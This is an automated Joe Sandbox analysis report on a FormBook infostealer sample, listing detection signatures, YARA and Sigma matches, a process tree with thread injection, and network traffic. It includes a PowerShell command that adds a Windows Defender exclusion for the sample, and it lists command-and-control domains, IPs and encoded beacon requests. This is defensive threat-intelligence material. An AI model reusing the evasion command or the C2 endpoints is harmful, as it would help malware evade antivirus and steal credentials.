Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
inquiry EBS# 82785.exe

Overview

General Information

Sample name:inquiry EBS# 82785.exe
Analysis ID:1447917
MD5:f36ac11608bf695e552445fd88200e91
SHA1:76534119d4fe5ffc5a4961bf1e25f2f203fc1a99
SHA256:84643c2b61b5ea0b8ac176dde19ba3f51c3c23fde7883b3674317dc33fb6456c
Tags:exe
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
.NET source code contains very large strings
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Found direct / indirect Syscall (likely to bypass EDR)
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • inquiry EBS# 82785.exe (PID: 4816 cmdline: "C:\Users\user\Desktop\inquiry EBS# 82785.exe" MD5: F36AC11608BF695E552445FD88200E91)
    • powershell.exe (PID: 7032 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 4656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • RegSvcs.exe (PID: 5100 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
      • hbfEEdNoiUG.exe (PID: 6016 cmdline: "C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • iexpress.exe (PID: 7216 cmdline: "C:\Windows\SysWOW64\iexpress.exe" MD5: D594B2A33EFAFD0EABF09E3FDC05FCEA)
          • hbfEEdNoiUG.exe (PID: 6328 cmdline: "C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 7644 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2dc53:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x17202:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2a7f0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x13d9f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 12 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        4.2.RegSvcs.exe.400000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          4.2.RegSvcs.exe.400000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2ce53:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16402:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          4.2.RegSvcs.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            4.2.RegSvcs.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2dc53:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x17202:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            Sigma Signatures

            System Summary

            barindex
            Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\inquiry EBS# 82785.exe", ParentImage: C:\Users\user\Desktop\inquiry EBS# 82785.exe, ParentProcessId: 4816, ParentProcessName: inquiry EBS# 82785.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", ProcessId: 7032, ProcessName: powershell.exe
            Sigma detected: Powershell Defender Exclusion
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\inquiry EBS# 82785.exe", ParentImage: C:\Users\user\Desktop\inquiry EBS# 82785.exe, ParentProcessId: 4816, ParentProcessName: inquiry EBS# 82785.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", ProcessId: 7032, ProcessName: powershell.exe
            Sigma detected: Non Interactive PowerShell Process Spawned
            Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\inquiry EBS# 82785.exe", ParentImage: C:\Users\user\Desktop\inquiry EBS# 82785.exe, ParentProcessId: 4816, ParentProcessName: inquiry EBS# 82785.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe", ProcessId: 7032, ProcessName: powershell.exe

            Snort Signatures

            ⊘No Snort rule has matched

            Joe Sandbox Signatures

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Antivirus detection for URL or domain
            Source: http://www.duobao698.com/b5mo/Avira URL Cloud: Label: malware
            Source: http://www.duobao698.com/b5mo/?f4=xxLl5tHp-byppxH&MNodJD8p=YF33wiUQP61+bcRucpXfP2bszl+S1jXxxa03lm8i9Cm6yh/X5E/MKQF3SqHNMSDah8acWmTXWKI80zfQn0GR7e3o5MjoaLzb9IV74TF38aXM2/s/Vr42kQEqdr4drO8NCxauOi017rm8Avira URL Cloud: Label: malware
            Source: http://www.pricekaboom.com/88is/?f4=xxLl5tHp-byppxH&MNodJD8p=Et7jFQQESHR6QMcH21WFfBueb87jCDciOXesV2PUTY+phHzqwibAOf6k5ayeI+rSGw4JUshP7eT3Dg0I6eQ+O8WQlCHWQqse33D+WHaqsKhBys2QaUSMPkBSAmePUjZQCr8qbSgJVbhVAvira URL Cloud: Label: malware
            Source: http://www.ycwtch.co.uk/kpja/Avira URL Cloud: Label: malware
            Multi AV Scanner detection for submitted file
            Source: inquiry EBS# 82785.exeReversingLabs: Detection: 68%
            Yara detected FormBook
            Source: Yara matchFile source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3712098478.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.1438597703.0000000002340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000010.00000002.3712203175.0000000004CC0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.1438447735.0000000001830000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            AI detected suspicious sample
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Machine Learning detection for sample
            Source: inquiry EBS# 82785.exeJoe Sandbox ML: detected
            Source: inquiry EBS# 82785.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
            Source: inquiry EBS# 82785.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: Binary string: iexpress.pdbGCTL source: RegSvcs.exe, 00000004.00000002.1435957062.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000002.3708916103.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000003.1360746245.0000000000A8B000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: hbfEEdNoiUG.exe, 0000000F.00000000.1347277326.000000000052E000.00000002.00000001.01000000.0000000D.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3695839640.000000000052E000.00000002.00000001.01000000.0000000D.sdmp
            Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000003.1434430531.0000000004D6B000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000003.1438240479.0000000004F17000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, iexpress.exe, 00000010.00000003.1434430531.0000000004D6B000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000003.1438240479.0000000004F17000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: HSfy.pdb source: inquiry EBS# 82785.exe
            Source: Binary string: HSfy.pdbSHA256uT source: inquiry EBS# 82785.exe
            Source: Binary string: iexpress.pdb source: RegSvcs.exe, 00000004.00000002.1435957062.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000002.3708916103.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000003.1360746245.0000000000A8B000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 16_2_0303BAF0 FindFirstFileW,FindNextFileW,FindClose,16_2_0303BAF0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 4x nop then mov dword ptr [ebp-000000E8h], 00000000h16_2_030296A0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 4x nop then xor eax, eax16_2_030296A0
            Source: C:\Windows\SysWOW64\iexpress.exeCode function: 4x nop then pop edi16_2_0303201A
            Source: Joe Sandbox ViewIP Address: 185.31.240.240 185.31.240.240
            Source: Joe Sandbox ViewIP Address: 198.177.123.106 198.177.123.106
            Source: Joe Sandbox ViewIP Address: 107.151.241.58 107.151.241.58
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET /88is/?f4=xxLl5tHp-byppxH&MNodJD8p=Et7jFQQESHR6QMcH21WFfBueb87jCDciOXesV2PUTY+phHzqwibAOf6k5ayeI+rSGw4JUshP7eT3Dg0I6eQ+O8WQlCHWQqse33D+WHaqsKhBys2QaUSMPkBSAmePUjZQCr8qbSgJVbhV HTTP/1.1Host: www.pricekaboom.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /v0eo/?MNodJD8p=53hfMKMEN3GhcMKa3FD3GzP2+NOMOkRil+RTINeunm9wIq1fivMeg2WaHp19Pt0EnqgBYyGRdzAlBNzF4cJsjA2PPFb1LRhEuRJejr6Fp+RggyN+VxffrmtVRKuIz6NLG42mGA2FBBi+&f4=xxLl5tHp-byppxH HTTP/1.1Host: www.birthingwitht.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /bjqr/?f4=xxLl5tHp-byppxH&MNodJD8p=gV3rr7jqPVIv1Mn/lEpKIewKkib7Fcul04Jd32/fmw2k/EH2FaAQks6L8J0asfE6jsJhPUd3WUfcv1S8rbU6nGqSEFtTbFoUTPdBAPE1L3Zw4OEG+thjvk7ioWrFkV00ho6iarHOpTEe HTTP/1.1Host: www.0bi8.funAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /v7f6/?MNodJD8p=XF4qeg9ZZgTAThyVlalCdKNU99LfXS2lLMZLa1YAu2kMLhYluJ+1/4qiQDOp90UUak+QbyH64omdN7gzrQa5FaRBbg95DUa8jSSlfRAmfeyBeU+cpFm8YfZCh5mA/E+0k6dMbGsvvroL&f4=xxLl5tHp-byppxH HTTP/1.1Host: www.galatalosangeles.orgAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /e6fw/?f4=xxLl5tHp-byppxH&MNodJD8p=n5dESxf/cXtX+IWK1PHyu1L8TFflxVgasmaJS2CdKaZYGchug9mh5pyHlytVKDb3Cg5u6YFnb48YkM5fb7pMgDgbFs0i5g+O9MKB2IOkFyIMxqAROkXgP4I/Dc/XYjPAbEAcXqhbTswY HTTP/1.1Host: www.chillingtime.shopAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /z86o/?MNodJD8p=Ojnz0Kg7atrxNq8YCu+svyw5JWMM1LKejTFIWEVqDJTsr8k/Cp/y34hmBl88WC07fa4Gfm/DSv1MHu4JYtU+JFgy+UqwczkQfuHRwTZ5WPzaTNzF4FwHRgOY2DJ/mTb+46Ki7EnPzQiQ&f4=xxLl5tHp-byppxH HTTP/1.1Host: www.drednents.esAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /7skl/?f4=xxLl5tHp-byppxH&MNodJD8p=dTL83zpU0xQ9edv6OGiX5dEIo4WZrMM8fLl2Krrsxam7NAcpt0Es3EGDcNMssM7b8wua4BB6pAKcVugLPNxCMOYttcIT7GyMy0e3JishaTIPS+4u6tMJjGSu/0BLy0AvAJTG8pRcvlin HTTP/1.1Host: www.shopnaya.frAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /ji0p/?MNodJD8p=xXD9CQ3N7xKDLchfMZiKEzPna0191/2yPXYla/3jou9aJjDG40/AHObgd4ksmL/dNcSWCZmrHM/RDWoQ1OVMTJmDIfJC0DRY8vTyfwkh08Xc3obI9sRDXMdHo4KaM9QY8Uf5asICqepP&f4=xxLl5tHp-byppxH HTTP/1.1Host: www.yamlex.ruAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /hjqs/?f4=xxLl5tHp-byppxH&MNodJD8p=5qGwR/efmPt/I6Ynz6AqB74GuZv+m8IAYAQ4rwOKHDcf/eaPG6yHH9N9SqcPE5LhBkrMW/1fhU0AkMcaTSWt5r3v+QyKYKY8hdB1xYhSZ8o8wTivSleoUXQcrXTUVIgWubI9r3mYr34W HTTP/1.1Host: www.touchdres.topAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /hrz3/?MNodJD8p=fkxp32a3AF5wBSwRh5VZfmiY3/puBKP3MVSkTpkPNWOuHUgNKCFzkVmprYkTYGjHw4naGQMkcT0jQi1gpu8oD2UytFCpxdjGtxbhW8UXfJ17EhPZrFJXKsyUbfGU5GAcfhuZPrs7GjjK&f4=xxLl5tHp-byppxH HTTP/1.1Host: www.omilux.vnAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /b5mo/?f4=xxLl5tHp-byppxH&MNodJD8p=YF33wiUQP61+bcRucpXfP2bszl+S1jXxxa03lm8i9Cm6yh/X5E/MKQF3SqHNMSDah8acWmTXWKI80zfQn0GR7e3o5MjoaLzb9IV74TF38aXM2/s/Vr42kQEqdr4drO8NCxauOi017rm8 HTTP/1.1Host: www.duobao698.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /kpja/?MNodJD8p=feUkjxVztt61T+q9W6uYG/UJrG3XpNzeZI0ojRzm1cejAyzeojgXHXhC7SIpJnYpWq4H+DhEOKRao3BiyIuYFkFo5Eoj5TMadhE3pDNzCDi8vXm7xxYuwOkEHvw50i5QKglKDFk0tKB3&f4=xxLl5tHp-byppxH HTTP/1.1Host: www.ycwtch.co.ukAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /8vpj/?f4=xxLl5tHp-byppxH&MNodJD8p=PND0ETKqlieTTeqinVoOdoMDGkM5Odo4sqg2s5YxFKdh6CPUHw2tTMKdV9M9FPP1W5xV4FYCql8AQrim1T6KQKabV5DPdnWB0A0Xkl8YOGjv4J+ZuCok4XgXnh6EsXJFAwVfNVgHNN7O HTTP/1.1Host: www.geltipleasure.comAccept: */*Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficDNS traffic detected: DNS query: www.pricekaboom.com
            Source: global trafficDNS traffic detected: DNS query: www.birthingwitht.com
            Source: global trafficDNS traffic detected: DNS query: www.0bi8.fun
            Source: global trafficDNS traffic detected: DNS query: www.galatalosangeles.org
            Source: global trafficDNS traffic detected: DNS query: www.chillingtime.shop
            Source: global trafficDNS traffic detected: DNS query: www.drednents.es
            Source: global trafficDNS traffic detected: DNS query: www.shopnaya.fr
            Source: global trafficDNS traffic detected: DNS query: www.yamlex.ru
            Source: global trafficDNS traffic detected: DNS query: www.touchdres.top
            Source: global trafficDNS traffic detected: DNS query: www.omilux.vn
            Source: global trafficDNS traffic detected: DNS query: www.duobao698.com
            Source: global trafficDNS traffic detected: DNS query: www.ycwtch.co.uk
            Source: global trafficDNS traffic detected: DNS query: www.geltipleasure.com
            Source: global trafficDNS traffic detected: DNS query: www.hilfe24x7.de
            Source: unknownHTTP traffic detected: POST /v0eo/ HTTP/1.1Host: www.birthingwitht.comAccept: */*Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brCache-Control: no-cacheContent-Length: 221Connection: closeContent-Type: application/x-www-form-urlencodedOrigin: http://www.birthingwitht.comReferer: http://www.birthingwitht.com/v0eo/User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 30 31 4a 2f 50 2b 77 48 4b 58 43 6b 52 73 61 2b 39 48 33 7a 63 67 6a 34 2b 2f 76 7a 58 58 73 66 6d 37 5a 32 47 4e 72 53 73 47 70 56 54 6f 46 44 6c 2b 4d 4e 72 6d 43 74 43 59 39 4c 48 74 67 50 36 38 55 74 41 69 6d 64 4a 6b 49 79 59 65 48 5a 72 65 46 6d 30 69 65 49 49 6a 66 4c 55 68 41 72 6c 43 63 61 73 34 50 66 70 38 46 4e 6c 53 42 46 63 45 6e 74 74 56 35 6e 59 2b 69 32 32 6f 30 71 59 71 53 35 4f 6a 62 5a 46 42 2b 77 79 6c 5a 55 46 72 46 56 4a 2b 78 36 43 31 39 32 35 78 6e 38 5a 42 52 53 64 49 59 70 37 56 31 54 5a 51 31 31 61 63 31 4b 38 58 45 2b 7a 32 54 71 41 78 59 56 54 73 51 63 55 6d 68 75 45 39 5a 61 75 62 51 31 6d 77 3d 3d Data Ascii: MNodJD8p=01J/P+wHKXCkRsa+9H3zcgj4+/vzXXsfm7Z2GNrSsGpVToFDl+MNrmCtCY9LHtgP68UtAimdJkIyYeHZreFm0ieIIjfLUhArlCcas4Pfp8FNlSBFcEnttV5nY+i22o0qYqS5OjbZFB+wylZUFrFVJ+x6C1925xn8ZBRSdIYp7V1TZQ11ac1K8XE+z2TqAxYVTsQcUmhuE9ZaubQ1mw==
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not Founddate: Mon, 27 May 2024 10:26:48 GMTserver: Apache / ZoneOSlast-modified: Mon, 06 Nov 2023 23:06:18 GMTetag: "1d7b-60983e6d29793"accept-ranges: bytescontent-length: 7547connection: closecontent-type: text/htmlData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 2d 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2d 6d 61 69 6e 2d 63 6f 6c 6f 72 3a 20 23 44 38 32 45 32 33 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3c 2f 73 74 79 6c 65 3e 